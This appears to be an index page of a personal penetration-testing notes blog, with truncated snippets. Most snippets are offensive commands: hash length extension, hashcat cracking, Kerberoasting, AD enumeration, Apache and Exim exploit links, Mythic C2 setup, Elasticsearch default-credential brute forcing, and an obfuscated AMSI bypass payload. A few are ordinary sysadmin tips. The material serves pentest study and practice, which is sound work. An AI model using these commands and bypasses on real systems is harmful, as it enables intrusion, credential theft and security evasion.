Steinz Security

  #Install Dependencies sudo apt-get install libssl-dev #Download Hash Extender git clone https://github.com/iagox86/hash_extender.git cd hash_extender make #Run it /hash_extender --data 'username=admin' --secret 16 --append '&isLoggedIn=True' --signature d3a85d3b3087c7e841f84eb4316765c6e1f786074a1f1db996b2e0f8c96f197e2f55433920a630feb07daafadefbc13c947e5225fc509f8241f57f47a8df5311 --format sha512

  Use Below commands to Claim unused or deleted storage space from WSL  open cmd as administrator diskpart # Common Path of WSL Vhdx "C:\Users\Bhanu\AppData\Local\wsl\{c1b5ba3f-ca4a-454d-be36-4910c2248c33}\ext4.vhdx" select vdisk file="PATH_TO_YOUR_WSL_VHDX_FILE" attach vdisk readonly compact vdisk detach vdisk

  git clone https://github.com/philsmd/7z2hashcat.git cd 7z2hashcat ./7z2hashcat.pl yourfile.7z > hash.txt hashcat -m 11600 -a 0 hash.txt wordlist.txt hashcat -m 11600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --force -r /usr/share/hashcat/rules/d3ad0ne.rule

  Kerberoasting #Get TGS Ticket Using GetUserSPNs.py sudo GetUserSPNs.py -request -dc-ip 10.10.10.10 Steins.local/mark Find Pre-Auth Disabled Users GetNPUsers.py DOMAIN/ -usersfile user.txt -outputfile hash.txt -dc-ip 10.10.10.10 #brute force the hashes hashcat -a 3 -m 18200 a.txt /usr/share/wordlists/rockyou.txt --force john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt List ACL's/Attributes with write access to a Specific User bloodyAD --host dc01.domain.local -d domain.local -u User -k get writable --detail bloodyAD --host dc01.domain.local -d domain.local -u User -p 'password' get writable --detail Running Bloodhound on Linux #Match the Time with Doamin controller. sudo apt-get install ntpdate sudo ntpdate <DC IP> #Add required DNS to /etc/hosts if there is no direct DNS #Once you have creds for any user -run blood hound to look for priv esc git clone https://github.com/dirkjanm/BloodHound.py pip install bloodhound-python -u UserName -p "P...

  Serach for a CVE here first - Trickest/cve Apache CVE-2024-38475 - CVE-2024-38475 #version less than 2.4.51 CVE-2021-44790 - h ttps://www.exploit-db.com/exploits/51193 #Apache HTTP Server 2.4.50 CVE-2021-42013 - https://www.exploit-db.com/exploits/50406 use https://github.com/mrmtwoj/apache-vulnerability-testing for below CVE's CVE-2024-38472: Apache HTTP Server on Windows UNC SSRF CVE-2024-39573: mod_rewrite proxy handler substitution CVE-2024-38477: Crash resulting in Denial of Service in mod_proxy CVE-2024-38476: Exploitable backend application output causing internal redirects CVE-2024-38475: mod_rewrite weakness with filesystem path matching CVE-2024-38474: Weakness with encoded question marks in backreferences CVE-2024-38473: mod_proxy proxy encoding problem CVE-2023-38709: HTTP response splitting EXIM #suppodily should work for versions below Exim 4.96.1 - is not accurate CVE-2023-42115 - https://github.com/AdaHop-Cyber-Security/Pocy/tree/main

  #Try to Restart vmware toools sudo restart-vm-tool #incase of any error sudo apt update sudo apt install -y --reinstall open-vm-tools-desktop sudo restart-vm-tool

Azure Cloud offers a comprehensive ecosystem of tools and services. Among its core components are: Azure Active Directory (AAD) Azure Resource Manager (ARM) Office 365 (O365) Initial Access Try to get a user credential via OSINT/Social engineering or try to comprise a web application hosted on Azure VM. Enumerate the roles attached to the VM and try to escalate your privileges.   Entra ID Directory Role Entra ID directory roles are predefined roles that grant permissions to perform specific tasks within an Azure AD tenant. These roles are essential for managing administrative tasks in Entra ID. Types of Roles: Built-in Directory Roles Global Administrator Application Administrator User Administrator Custom Directory Roles Accessing APIs in Azure Entra ID - Access via Microsoft Graph API Endpoint {HTTP method} https://graph.microsoft.com/{version}/{resource}?{query-parameters} Azure Resource Manager API Endpoint (ARM-specific) {HTTP method} https://management.azure...

  # List Metadata curl 10.10.10.10:51678/v1/metadata # List Tasks curl 10.10.10.10:51678/v1/tasks

 ngrock creates a tunnel from your local machine to ngrock server and host it on the internet via their HTTPS url  Resister an account on ngrock and login #Download the client curl -sSL https://ngrok-agent.s3.amazonaws.com/ngrok.asc \ | sudo tee /etc/apt/trusted.gpg.d/ngrok.asc >/dev/null \ && echo "deb https://ngrok-agent.s3.amazonaws.com buster main" \ | sudo tee /etc/apt/sources.list.d/ngrok.list \ && sudo apt update \ && sudo apt install ngrok #add the authToken ngrok config add-authtoken 2p7Oc #start a python server on your application python -m http.server 3000 #start the server - use the same port as the python server (3000 in below example) ngrok http http://localhost:3000 --request-header-add "ngrok-skip-browser-warning: true" Setting up a Request Header - Login to the application --> Univeral Gateway --> Edges - Create an Edge --> Request Headers --> `ngrok-skip-browser-warning :12 - go back to overv...

  Installing anaconda wget https://repo.anaconda.com/archive/Anaconda3-2024.10-1-Linux-x86_64.sh Enter q yes yes #use absolute path /home/stark/anaconda3/bin/conda init source ~./bashrc #Create an env conda create -n EnvName python=3.12 #enter the env conda activate EnvName #Install the required packages now Create your directory and open visual studio code - if you are using `wsl` - make sure to install the wsl plugin and login - select the new `EnvName` at the bottom right corner in VS Code

  open cmd and run "diskpart" # List the hard disk list disk # Select the hard disk select disk 0 # list the partitions list partition # Select the partition that you want to delete and allocate it to new partition # if you are allocating it on a VM, just create a new partition, assign a volume to it # then delete it select partition 4 #Delete the partition delete partition override now go to `Disk Management` --> right click on the partition that you want to extend #you should observe Extend disk is not grayed out Select "Extend Disk" and now you can increase the Partition size

  #use Powershell v2 - Doesnt have any security controls powershell.exe -v 2 #Using Itemproperty Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -Name __PSLockdownPolicy    

  use https://amsi.fail/ to generate AMSI Bypass techniques   $iu9nUCYfZjO831cZ6=$null;$t9jdZOULRwE6UwvmtJ="System.$([char]([bYTe]0x4d)+[ChAr]([byTe]0x61)+[char]([BYTe]0x6e)+[ChaR](97*82/82)+[CHaR](103*90/90)+[CHar](101*27/27)+[CHaR]([ByTe]0x6d)+[CHar](101)+[chAR]([bYTe]0x6e)+[CHar]([bYtE]0x74)).$(('Âútômâtì'+'ón').NorMAlIZe([ChAR](70*67/67)+[cHaR]([BYTE]0x6f)+[CHaR]([BYTE]0x72)+[ChaR](109*41/41)+[Char](68+8-8)) -replace [cHAR](92*77/77)+[cHaR]([bYTE]0x70)+[cHAr]([BYtE]0x7b)+[CHaR]([bYte]0x4d)+[Char]([bYTe]0x6e)+[ChAR]([Byte]0x7d)).$(('Ãm'+'sî'+'Ût'+'ìl'+'s').norMALIZe([CHAR](70*53/53)+[chAR](111)+[CHar](114)+[CHar]([BYtE]0x6d)+[CHar]([bYte]0x44)) -replace [CHAR]([ByTe]0x5c)+[cHAR]([BYTE]0x70)+[char](123*9/9)+[chaR]([Byte]0x4d)+[ChaR]([byTE]0x6e)+[cHar](125+3-3))";$sxynqfmtovfgaojvecwrzknwdq="+('kphjwgrxthc'+'úkígùõíqfày'+'lî').norMAlIze([CHAR]([byte]0x46)+[Char](68+43)+[chAR]([ByTe]0x72)+[ch...

  Download the repo git clone https://github.com/its-a-feature/Mythic.git cd Mythic #Make the setup file sudo make Installing Docker sudo apt update sudo apt install -y docker.io sudo systemctl enable docker --now echo "deb [arch=amd64 signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/debian bookworm stable" | \ sudo tee /etc/apt/sources.list.d/docker.list curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io Log out of Kali Session and re-Login   Running Mythic #make sure you are in Mythic main Directory cd Mythic #Compile and generate the mythic-cli binary sudo make #Start Mythic - give it few mins to download and setup containers - first time only sudo ./mythic-cli start #Setup Payloads - Apollo for Windows sudo ./mythic-cli install github https://github.com/MythicAgents/Apollo.git sudo ./mythic-cli install g...

  Semgrep #Installation pip install semgrep==1.54.3 #Use below script to run it; update the paths in the script wget https://raw.githubusercontent.com/Bhanunamikaze/PenTest-Scripts/refs/heads/main/semgrep_runner.py #Download the rules git clone https://github.com/Bhanunamikaze/SemgrepRules-PHP.git PHP Code Snipper Download phpcs.phar file from PHP_CodeSniffer Releases sudo apt-get install php-tokenizer php-xml php phpcs.phar /path/to/PHP_Code Visual Code Grepper https://github.com/nccgroup/VCG/tree/master GitHub - tcosolutions/betterscan: Code Scanning/SAST/Static Analysis/Linting using many tools/Scanners with One Report (Code, IaC) - Betterscan For NodeJS GitHub - insidersec/insider: Static Application Security Testing (SAST) engine focused on covering the OWASP Top 10, to make source code analysis to find vulnerabilities right in the source code, focused on a agile and easy to implement software inside your DevOps pipeline. Support the following technologies: Jav...

  Refer to Simple WebPentest Checklist Subdomain Enumeration git clone https://github.com/TheRook/subbrute.git python subbrute.py domain.com > subdomains.txt git clone https://github.com/infosec-au/altdns.git altdns -i subdomains.txt -o data_output -w words.txt -r -s results_output.txt #paste the list into Bulk URL HTTP Status Code, Header & Redirect Checker | httpstatus.io # this will give live hosts status make sure to check subdomain of the sub-domains #Other Tools amass enum -passive -norecursive -noalts –df domin.txt -o subs-1.txt amass enum -passive -norecursive -noalts –df subs-1.txt -o all-sub.txt Fetching URLS for a domain #Use GAU to get all urls download from https://github.com/lc/gau/releases or go install github.com/lc/gau/v2/cmd/gau@latest printf example.com | gau cat domains.txt | gau --threads 5 gau example.com google.com gau --o example-urls.txt example.com gau --blacklist png,jpg,gif example.com Recon Automation #Better use https://github....

Create a Video from an Image - Video will be an image - Audio will be taken from the input video/audio file (-i 142.mp4) - Output file will be generated with Image as a video and audio from the input file  #USE CPU ffmpeg -loop 1 -framerate 1 -i image.jpg -i 142.mp4 -map 0 -map 1:a -c:v libx264 -preset ultrafast -tune stillimage -vf fps=10,format=yuv420p -c:a copy -shortest 142_output.mp4 # USE GPU ffmpeg -loop 1 -framerate 1 -i image.jpg -i 156.mp4 -map 0 -map 1:a -c:v h264_nvenc -preset fast -tune hq -vf fps=10,scale=1920:1080,format=yuv420p -c:a copy -shortest 156_output.mp4 Batch Script to Take a list of .mp4 files as input and create a new video file with 'video as a still image' and audio from the given audio file

  #Service Name and Version info - if no info is displayed, requires Auth curl 10.10.10.10:9200/ #Default Creds curl -X GET http://admin:elasticadmin@10.10.10.10:9200/ curl -X GET http://elastic:changeme@10.10.10.10:9200/ #Bruteforce Creds hydra -L usernames.txt -P passwords.txt <target-ip> -s 9200 http-get / ALL PATHS _cat /_cluster /_security /_cat/segments /_cluster/allocation/explain /_security/user /_cat/shards /_cluster/settings /_security/privilege /_cat/repositories /_cluster/health /_security/role_mapping /_cat/recovery /_cluster/state /_security/role /_cat/plugins /_cluster/stats /_security/api_key /_cat/pending_tasks /_cluster/pending_tasks /_cat/nodes /_nodes /_cat/tasks /_nodes/usage /_cat/templates /_nodes/hot_threads /_cat/thread_pool /_nodes/stats /_cat/ml/trained_models /_tasks /_cat/transforms/_all /_remote/info /_cat/aliases /_cat/allocation /_cat/ml/anomaly_detectors /_cat/count /_cat/ml/data_frame/analytics /_cat/ml/datafeeds /_cat/fielddata /_cat/healt...